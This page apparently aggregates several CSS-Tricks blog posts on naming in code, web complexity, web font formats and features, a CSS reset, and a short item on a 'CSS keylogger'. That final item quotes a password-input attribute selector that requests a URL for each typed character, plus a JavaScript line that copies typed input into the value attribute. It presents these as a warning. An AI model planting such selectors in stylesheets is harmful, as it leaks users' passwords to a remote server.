Reading only the function name, parameter name, and returned variable, we see that processData gets data and returns a result. These names have added nearly zero information to the reader. Code like this is easy to write when you just want to get it working or you're trying to stay flexible to changes, and that's okay. It's always a good idea to go over your code with fresh eyes to fix things, and names should be on your quality checklist.

Here's a more descriptive way we could have written the last example:

function parseJson(string) { var jsonObject = JSON.parse(string); return jsonObject; }

Technology is one of the most abbreviation and acronym heavy fields there are, and they are key to great names. FTP is easier to read and understand than "File Transfer Protocol." In some cases though, the reader can be left out.

Here's an example where the abbreviations are convenient for the developer writing the code, but not so handy for anyone else who needs to read or contribute to it:

function cts(con, ack) { if (con && ack) { return true; } else { return false; } }

Often I'll read code with an acronym and have to switch to my web browser to do a search, only to find results for car models. A perfect example of that is cts, which returns a lot of Cadillac results. ack does show up on a search, but I'd rather not leave it my text editor. con can be misunderstood many ways. Is it a connection? A count? A container? Maybe it's a scam. These things may be obvious if you are familiar with the code base, but it adds a learning curve to those joining the project. A few extra seconds can save several minutes for readers over years.

Here's the previous example written without abbreviations:

function clearToSend(connectionExists, acknowledgementStatus) { if (connectionExists && acknowledgementStatus) { return true; } else { return false; } }

Let's turn to some HTML examples because HTML is perhaps the most name heavy language of them all.

<section class="new-promotion-parent"> <img class="logo" src="small-square-logo-monochrome.png"/> <div class="get-your-coupon"> <p>Get Your Coupon</p> </div> </section>

We can imagine that the word "new" was used here likely because a designer was told to update the promotion-parent element, but to also keep support for the existing class, maybe for old HTML floating about. The term "new" is an accurate description for the first few months, but over time it becomes more and more ironic. A better idea might be to add a separate class that describes what is new. For example, if a new flat design is being implemented, then a class name of flat-design might work. For an added bonus, you can let the CSS from the existing promotion-parent class cascade if you'd like to reuse some of the styles.

Similarly, logo seems like a sensible class name at first. Inevitably, however, a second logo will come along somewhere, which gets the name alt-logo. The logos keep coming, and so do the increasingly bad names. Most assets have several variations, such as different shapes, sizes, color schemes and more. That said, small-square-logo-monochrome wouldn't be a great class name either, because the image itself should be able to be swapped without the class name becoming obsolete. A better idea might be a name that describes the role of the asset rather than the type or appearance.

Here, the language of the div has been used to name the div get-your-coupon. The content of an HTML document is meant to continually evolve; names are not. A coupon code today might be an email signup in the future, while keeping the same styles and functionality. HTML is one place where names are often too specific instead of too vague.

Here's that same HTML code taking the suggestions into consideration:

<section class="flat-design promotion-parent"> <img class="promotion-branding-image" src="small-square-logo-monochrome.png"/> <div class="primary-promotion-text"> <p>Get Your Coupon</p> </div> </section>

We can even look at the names in a database for better naming. Tables often get used countless times across an application in several very different contexts.

Here's a simplified database table:

CREATE TABLE `book` ( `id` int(12) NOT NULL, `title` varchar(50) NOT NULL, `author` varchar(50) NOT NULL, `type` bit(1) NOT NULL, `sort` int(12) NOT NULL, `order` varchar(25) NOT NULL, ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

What does type mean in the context of books? Does it mean fiction or non-fiction? Does it mean paperback or hardcover? Maybe it means physical or digital?

The sort column is equally confusing. Is it representing ASC or DESC? Does it represent which column is being used to sort? Maybe it decides if sorting is active? Or maybe it decides show the books in some other alternate order?

And then there's order. Aside from being equally ambiguous, order is a reserved word in MySQL and many other languages. You can work around this using backticks (`) for MySQL, but it's probably a better idea to avoid using reserved words altogether.

Here's how the table could be written in a more descriptive way:

CREATE TABLE `book` ( `id` int(12) NOT NULL, `title` varchar(50) NOT NULL, `author` varchar(50) NOT NULL, `cover_type` bit(1) NOT NULL, `sort_order` int(12) NOT NULL, `purchase_order_number` varchar(25) NOT NULL, ) ENGINE=InnoDB DEFAULT CHARSET=utf8; Naming Conventions

Let's talk naming conventions.

if (oldmanshaven) { return true; }

Did you read that as Old Mans Haven or Old Man Shaven? Either way, it forces you to slow down and think which adds up and might one day lead to a misunderstanding. PascalCase, camelCase, snake_case, kebab-case are all excellent choices. Use them, and just as important, be consistent.

Here's that same code in snake_case, which is less likely to be misread:

if (old_man_shaven) { return true; }

One more example:

if (!isNaN(number)) { alert('not a number') } else if (!number > 50) { alert('number too large') } else if (!number < 10) { alert('number too small') } else { // code here }

I looked at some of my first lines of code for inspiration writing this post. I didn't see many bad names because I wrote code in a way that didn't use names. I used very few functions, rarely used assignments, and would abuse variables by making them do a dozen different things. Having plenty of names in your code is often a sign that you're abstracting things properly.

Here's one example from my code:

function validateNumber(number) { var maximumValue = 50; var minimumValue = 10; if (isNaN(number)) { alert('not a number') return false; } if (number > maximumValue) { alert('number too large') return false; } if (number < minimumValue) { alert('number too small') return false; } } if (validateNumber(number)) { // code here } Caveats

Naming things is an art, not a science. There's some things outside the name to consider when evaluating if a name is good or bad.

Context

Context can give generic terms much more meaning. For example, "item" is a vague name but, in the context of a getCustomerSalesOrder() function, we can tell it likely refers to a product that was purchased. A function that is short, focused, and takes context into account can reduce the need for verbose names. I still prefer a good name. Context can disappear easily over time as functions get longer or re-factored. Names are more permanent markers of meaning.

Comments

Code comments are important to readable code, but they can't do it all by themselves. Comments should pick up where names leave off, giving details you can't cram into a name, noting the reason for a particular way of doing things, or ranting about a broken library.

/* This refers to a product that was purchased and relates to the customer-sales-order class. */ .product-item { display: block; text-transform: uppercase; width: 100vw; } Reading Length

Longer names create more to read and wider lines. It can especially be problematic when accessing deep into an array, such as:

$order_details['customer']['ship_to_address']['default']['street_address']['line_1']

That said, even that straw man example I just gave, while verbose, is crystal clear and gives me no reason to stop reading to think or look over the rest of the function to understand the context.

Names are everywhere in Code

Most of the characters of a code file probably aren't brackets or syntax, but names. It might be variable names, function names, HTML tags or attributes, database tables or columns, or any of the countless things that we give names to in any given project.

I still struggle with naming things. I often find myself sitting frozen at my text editor, trying to name some minor variable. I've learned that when that happens, it's likely because I'm dealing with something difficult to conceptualize, which makes it all the more important to find the right name for it.

Working Towards Better Naming is a post from CSS-Tricks

Complexity

Css Tricks - Fri, 02/23/2018 - 10:37am

Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again.

May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder:

I don’t feel much better at making [websites] after 20 years. My knowledge and skills develop a bit, then things change, and half of what I know becomes dead weight. This hardly happens with any of the other work I do.

And complexity is to blame.

Complexity is one of those in the water topics right now. Kevin Ball wrote "we are in the midst of a massive and rapid period shift in complexity from the backend to the front." Roneesh just celebrated untangling all this front end complexity in his own mind and shared his thoughts.

I've read a good number of responses to Frank's article as well. I particularly liked our own Robin Rendle's from the newsletter:

I believe the reason for all this complexity and nuance in the work is because we no longer expect the web to be a series of simple, hyperlinked documents.

Our expectations, as users of the web, have now completely changed.

Websites are machines in and of themselves; they have state, notifications, alerts and warnings, components that appear under certain circumstances, location-aware features and complexity beyond anything we were building fifteen years ago. There are more devices and viewport widths rendering our websites with increasingly difficult performance requirements.

That feels right to me. It's just what I was feeling when I wrote What is the Future of Front End Web Development?

What websites are being asked to do is rising. Developers are being asked to build very complicated things very quickly and have them work very well and very fast.

Though, Frank points out that even layout, fonts, and images have ballooned in complexity. The cause there I'd argue is the rightful focus (and really, demand for) performance. But reactions to complexity are usually those things plus a dozen or two other things.

Perhaps things didn't get complicated for no reason, and instead got complicated to compete. The web can do more, so we ask it to do more.

It's tempting to think that the complexity comes entirely from that moreness. Embracing more of the potential of the web, playing catchup with native apps, and building more powerful tools for people. But I'm sure the whole story is more (ahem) complicated. Someone once told me the reason they think developer tooling has evolved and gotten more complicated is that developers generally aren't asked to innovate on the business and product side. They build what they are told to, so they use their smarts to innovate on their own tools.

It depends though. A few personal examples.

I've been running CSS-Tricks for over a decade. It's a garden variety WordPress site, and while it's certainly evolved, it's not all that much more complicated today as it was in the first few years. I've gotten better at working on it, in part because it's changed so little that I'm more comfortable doing that work. I know just what all the spinning gears do and just where to put the oil, most of the time.

On the other hand, through CodePen, I've experienced a long product development which started fairly simple and has come to extreme complexity. We sometimes question if we've overdone the complexity, but for the most part, each step in that direction has been a response to make something else, ironically enough, less complicated. One example of that was the adding of React'n'Redux'n'Friends, which was a step up in the complexity of the development workflow, build, and deploy processes but, believe it or not, was a step down in a complexity of the codebase. These tools help us build faster, debug easier, stay well tested, and provide a performant experience, to name some of the benefits. We didn't add tooling just for kicks; we added tooling because we had growing problems to address.

Not everyone has the same problems. The web is a big place is a phrase I see thrown around sometimes, and I like it. Over a billion websites, they say. A big place indeed.

Check out Dan Cederholm's favorite website:

It’s not responsive. It’s not optimized for iPhone. It looks blurry on a Retina display. It doesn’t use the latest HTML5/CSS3 framework. It doesn’t have a thoughtful vertical rhythm. The fonts are nothing special. It is neither skeuomorphic nor flat. It doesn’t have its own favicon. It doesn’t have a native app or Twitter or Instagram. It doesn’t use AJAX or SCRUM or node.js or Sinatra. It doesn’t have an API or an RSS feed or VC funding. It hasn’t been featured on a prominent tech blog or won an award.

It tells me the soups of the day.

I suspect it doesn't need any more complexity, and literally nobody is advocating it does. That's why that the web is a big place sentiment is so useful. We talk about complexity, but it's all opt-in. A wonderfully useful (and simple) website of a decade ago remains wonderfully useful and simple. Fortunately for all involved, the web, thus far, has taken compatibility quite seriously. Old websites don't just break.

I'll bet the bits in Frank's essay about web layout will strike a chord to many readers of this site. Frank makes the connection between table layout and grid layout. It's not a rare sentiment. For example:

Let's not fool ourselves. CSS grid = <table> and you know it / #100daysofcode

— JavaScript Teacher (@js_tut) February 13, 2018

I'm sure Frank understands the benefits of the new grid layout (e.g. try re-arranging a <table> at a media query breakpoint), but the sentiment was more about cycles than a deep technical dive.

I'd say a reasonable argument could be made that, with CSS in particular, things are easier these days. CSS of old had us biting our fingernails about cross-browser support, scattering vendor prefixes throughout our code, and (lol) saying a prayer to the box model. Eric Meyer, despite publishing a heavy tome of CSS knowledge lately, says:

CSS has a great deal more capabilities than ever before, it’s true. In the sense of “how much there potentially is to know”, yes, CSS is more of a challenge.

But the core principles and mechanisms are no more complicated than they were a decade or even two decades ago. If anything, they’re easier to grasp now, because we don’t have to clutter our minds with float behaviors or inline layout just to try to lay out a page.

Swinging it back to developers innovating on their own tools for a moment, another consideration is the impact of site builders on our industry. I'll always recommend a site builder app in the right circumstances. Does your photography business need a portfolio site? Your bakery a homepage? Your custom scarf site a blog and eCommerce site? Assuming this is a sub-$10,000 job, I'd rather see you use a specialized site builder product than hire out the job to anyone who is going to build something entirely custom. I don't wanna go too far down that rabbit hole, but suffice it to say, because I'm not alone in that thinking, the market for low-end custom design and development work is rather gone.

There are more developers these days working on in-house teams or agencies with big-ticket clients. That is, more and more developers on large-scope, long-scale, highly-complex jobs. So that's where their minds are at. Big complicated problems with big complicated solutions. That's what gets talked about. That's what gets blogged about. That's what gets argued about. That's the topic at a lot of conferences I've been to.

While you certainly can make a soup-of-the-day website with an index.html file and FTP, blog posts about that are fewer and farther between and don't get as many claps.

Shout out to Dave Rupert, my friend and ShopTalk Show co-host, who's been pushing back against complexity in all its forms for as long as I’ve known him. I'm still trying to catch up.

Complexity is a post from CSS-Tricks

Understanding Web Fonts and Getting the Most Out of Them

Css Tricks - Fri, 02/23/2018 - 4:42am

Thierry Blancpain is a brand and interaction designer at Informal Inquiry in New York City and co-founder of Grilli Type, a Swiss type foundry. While this article is generally applicable to all web fonts, Grilli Type fonts are used throughout as examples of the concepts, particularly those demonstrating OpenType features.

Using your own fonts instead of system fonts is getting easier, but it’s still an evolving field. We’ll go over the different types of font formats and cover tips and best practices for them in this post. We’ll also dive into more in-depth features for those of you who want to level up and aim to perfect the craft with advanced concepts and considerations when using web fonts. In the end, you’ll hopefully feel equipped not only to put web fonts to use but to get the most out of them.

Here we go!

Font Formats

When you purchase web fonts licensing, you receive a package of font files that typically include at least some of the following formats:

  • Embedded OpenType (EOT): EOT is a legacy format developed by Microsoft. Older Internet Explorer versions require EOT to render your web fonts. EOT is often served uncompressed so, if you don’t require browser support of the likes of IE8 or below, then you’re better off leaving it out.
  • TrueType (TTF): TTF is a font format developed by Microsoft and Apple in the 1980s. Modern TTF files are also called TrueType OpenType fonts. TTF can be useful for extending support to some older browsers, especially on mobile, if you need it.
  • Web Open Font Format (WOFF): WOFF was developed in 2009 as a wrapper format for TrueType and OpenType fonts. It compresses the files and is supported by all modern browsers.
  • Web Open Font Format 2 (WOFF2): WOFF2 is an update to the original WOFF format. Developed by Google, this is considered the best format of the bunch because it offers smaller file sizes and better performance for modern browsers that support it.

If you are mostly targeting users with modern browsers, you can get away with a progressive method of using @font-face that only serves WOFF and WOFF2 formats. These offer the best compression and allow you to deal with fewer files in your code. And if a user’s machine is so old that it doesn’t support either of these formats, it may be better to just serve them a system font for performance reasons, anyway.

If you want to expand support as wide as possible, then add EOT and TTF files to the mix. SVG fonts have also been traditionally used for expanding browser support but, at Grilli Type, we don’t offer SVG fonts anymore as they bring with them a number of downsides. Google Chrome for example has even completely removed support for the format.

Embedding Web Fonts

We make use of @font-face to include fonts in CSS.

Here’s the deepest level of support, including all of the font file formats we’ve discussed so far:

@font-face { font-family: FontName; src: url('path/filename.eot'); src: url('path/filename.eot?#iefix') format('embedded-opentype'), url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'), url('path/filename.ttf') format('truetype'); }

We can trim things down quite a bit if we're only aiming to support modern browsers:

@font-face { font-family: FontName; src: url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'); }

Once the font has been declared and defined, we can put it to use on our elements. For example:

body { font-family: 'FontName', Helvetica, Arial, sans-serif; } Hosting Web Fonts

One of the most flexible ways to load web fonts is to self-host them. That means that you host the files on your own server and your fonts will always be available when a visitor comes to your website without a third-party dependency. Neither tracking codes nor JavaScript is generally required to load self-hosted font files. Many small type foundries offer fonts as a direct download so they can be self-hosted and at Grilli Type, we are convinced it’s the best way to serve fonts.

While some type foundries offer self-hosting (both with and without cumbersome restrictions and requirements), others only offer hosted solutions, meaning they host the files on your behalf. Some of the well-known ones include Hoefler & Co., Font Bureau, and Typotheque. Font Bureau and Typotheque offer their fonts in both ways at different price points.

Make sure you know how a type foundry’s web fonts are offered before you buy licensing, because the difference in hosting and the terms of use can affect how they are implemented. Get what makes the most sense for you and fits your needs, and make sure you’re using them legally and according to the foundry’s licensing agreement.

Advanced Typographic Features

Let’s take a look at some of the more advanced features of web fonts.

Spacing and Kerning

There are two settings inside font files that define the space between characters:

  1. letter-spacing: This is defined as side bearings on the left and right side of each character
  2. font-kerning: This refers to specific adjustments between two characters

Spacing cannot be turned off at all, because otherwise the text rendering engine (your browser) wouldn’t know what to do with these letters. Kerning, on the other hand, is turned off by default in browsers and has to be turned on by you in your CSS.

Comparing type with kerning enabled and disabled.

It’s easier to control kerning than you might think! Here’s how to activate it across all browsers that support it:

p { font-feature-settings: "kern" 1; font-kerning: normal; }

If you don’t use a something like Autoprefixer to help manage browser support in CSS, then you’ll want to manually write out the browser vendor prefixes for this setting to extend browser support to older versions:

/* All vendor prefixes for `font-feature-settings` */ p { -moz-font-feature-settings: "kern" 1; -ms-font-feature-settings: "kern" 1; -o-font-feature-settings: "kern" 1; -webkit-font-feature-settings: "kern" 1; font-feature-settings: "kern" 1; font-kerning: normal; } Advanced OpenType Features

We just discussed how to use the font-feature-settings attribute to control kerning, but it can also be used to control other available OpenType feature in your web fonts. The number of supported features has been growing over time and the CSS-Tricks almanac is a good place to reference what is possible with OpenType.

OpenType features are really exciting because they open up a bunch of possibilities for controlling fonts without having to serve multiple files to get the same effect. At the same time, it’s worth noting that the features an OpenType font file supports is up to the font designer and that not all fonts support the same features.

To illustrate how advanced OpenType features can be chained together, the following code would turn on the numeric characters of an OpenType-enabled font that supports both old-style numerals (onum) and proportional numerals (pnum), plus enable kerning and activate a specific stylistic set included in the font:

.my-element { font-feature-settings: "onum" 1, "pnum" 1, "kern" 1, "ss01" 1; } Type with and without the activated OpenType features in the code example.

The font-feature-settings attribute can be used to activate stylistic alternates, discretionary ligatures, different types of figures available in a font, small caps, and other handy things. Typofonderie has a nice overview of these advanced features, including examples.

Because font-feature-settings is used to set many OpenType features at once, it’s not possible to define a single setting differently as the other choices will not be inherited. All of the features would need to be defined again to change the settings for child elements.

Letting Spacing and Word Spacing

CSS has long supported the letter-spacing and word-spacing attributes. When used correctly, both provide a fair amount of control over two very important aspects of how your type will look.

As with all things typography, you’ll want to learn how to evaluate different options both functionally and visually and make decisions based on your impression. Different contexts may call for different spacing needs.

At smaller sizes, most typefaces will benefit from a little extra spacing between characters and words. In larger contexts, like headings, typefaces may benefit from more narrow spacing. In either case, the right decisions require attention and your best judgment based on the outcomes.

I’ve found that letter-spacing and word-spacing both work best using em units for the values. That allows the spacing to adjust fluidly based on the font size of the element they are applied to. The following example will give your content a little more room to breathe at smaller font sizes:

p { font-size: 12px; letter-spacing: 0.015em; word-spacing: 0.001em; } Comparing the difference with letter and word spacing turned on and off. Font Rendering

Using type on screens brings up important questions about how they are rendered. Fonts are usually designed on about a 1000 units tall grid—or even larger—but then are displayed at something like a 16px font size. In an interplay between device, screen, and software, this reduction in resolution and fidelity requires some smarts to make small type legible and good-looking. Again, be observant, test in many browsers, and use your best judgment to put the best methods to use to increase legibility.

Hinting

Every operating system treats fonts differently from one another. In MacOS, the smarts are in the operating system (and thus can evolve over time), while the fonts themselves can be dumb. Historically, on Windows, the smarts were supposed to be included in the font software, and the system was supposed to use those smarts to decide how a font should be rendered at different sizes.

Those smarts are called hinting. Hinting information embedded in the font files can tell a computer that the two stems of an “H” character are supposed to have the same line width, or that the space above and below the crossbar should stay about equal at smaller sizes.

Hinting is a very complex and complicated topic, but the important takeaway is that the same font at the same size might render differently, even on the same computer depending on many factors, including the screen, the browser, and even the font and background color.

Microsoft provides a guide on the topic of hinting. Even though it was initially released in 1997, it’s still a good read because it so thoroughly explores the topic.

Font Smoothing

While hinting information included in the font files is mostly being ignored on MacOS, specific browsers offer some additional control over font rendering.

p { -webkit-font-smoothing: antialiased; /* Chrome, Safari */ -moz-osx-font-smoothing: grayscale; /* Firefox */ }

Using these CSS properties leads to sharper, thinner text rendering on MacOS and iOS. But beware: this can also lead to rendering problems, especially if you’re already using a thin font or font weight.

Both antialiased and grayscale are mainly useful to balance the rendering of fonts when using light text on dark backgrounds, as they would otherwise get rendered quite a bit bolder.

The font-smoothing property and its values are not on the path to become a standard CSS feature, so use it with caution and perhaps only in contexts where you know you need to target a specific browser and context.

Caution: OptimizeLegibility

We often come across this attribute when troubleshooting font usage on Grilli Type customer websites:

p { text-rendering: optimizeLegibility; }

Among other things, it activates kerning. That was very useful at some point, but is not needed anymore (as shown above). In addition to kerning, it also activates all kinds of ligatures, including extravagant ones that may be present in the font files.

Although there are some use cases for this, do not use this feature if you don’t know exactly what you’re doing with it. Chance are you don’t need it in the first place.

Web Font Resources

If you’re ready to dive deeper into web fonts, here are a handful of recommended resources you can use to learn more:

  • Clagnut’s OpenType CSS Sandbox by Richard Rutter: A great place to test out OpenType features and easily put together your required CSS code.
  • Webfont Handbook by Bram Stein: This is the most in-depth e-book you can possibly read on web fonts, font rendering, and font performance.
  • Copy Paste Character: This is a great website that allows you to access pretty much any special character you might ever use.
  • Using @font-face by CSS-Tricks: This article includes snippets for declaring web fonts based on varying browser support.
Advanced Web Font Considerations

For those who are ready to level up to more advanced techniques, here are even more considerations to take into account:

Uploading Licensed Fonts to Github

If you commit a project to a public repo and use font files that you have licensed, please make sure that either the fonts or the directory that contains them is included in your .gitignore file so that they do not get uploaded. This will prevent others from taking and using your font files, and it can prevent you from breaking any terms of use for licensed fonts that usually have usage and sharing restrictions.

.DS_Store path/to/web/fonts/folder/* Font Loading Tactics

Loading web fonts can be as easy as simply using @font-face but that doesn’t necessarily offer the best possible performance. For example, it opens up the possibility of a Flash Of Unstyled Text (FOUT) which might be considered poor UX in some cases. Zach Leat’s “A Comprehensive Guide to Font Loading Strategies” covers that and methods to improve the loading experience that will make you and your users very happy.

Base64-Encoded Font Files

In some rare instances, encoding your fonts as base64 inside your CSS will be a good idea but, generally, it is not—and, not to mention, you might break your font’s licensing agreement in the process. Be sure to proceed with a lot of caution and read up on your font’s terms of use when considering base64.

CSS Text Decoration

The W3C is working on a draft for new controls for text decoration, mainly dealing with how to make underlining text better and easier in CSS. This is not yet usable across all browsers, but have a look!

Variable Fonts

In 2017, the OpenType fonts specification 1.8.2 was released, allowing for what is called Variable Fonts. This new version of OpenType will allow for the inclusion of multiple font styles into a single font file, reducing server requests and web font file sizes. Depending on the type designer’s choices, it may also allow for the use of arbitrary weights in between existing weights and widths of fonts, among other things. Axis Praxis is a good website to play around with some existing test fonts – you will need a recent version of Safari or Chrome to do so, though.

Wrapping Up

We covered a lot in this article! Hopefully now you have a good understanding of the different font files out there, how to work with them, and all the amazing and powerful ways fonts can be styled using both tried and true methods and cutting-edge features.

Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks

modern-normalize

Css Tricks - Thu, 02/22/2018 - 12:26pm

Another don't call it a reset from Sindre Sorhus. It's a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I'm good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you're interested in some of the history and thinking behind these things, I wrote about that not long ago. Daniel Box made a little tool to compare them and I forked it to include modern-normalize.

Direct Link to ArticlePermalink

modern-normalize is a post from CSS-Tricks

CSS Keylogger

Css Tricks - Thu, 02/22/2018 - 12:26pm

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Direct Link to ArticlePermalink

CSS Keylogger is a post from CSS-Tricks

Syndicate content
©2003 - Present Akamai Design & Development.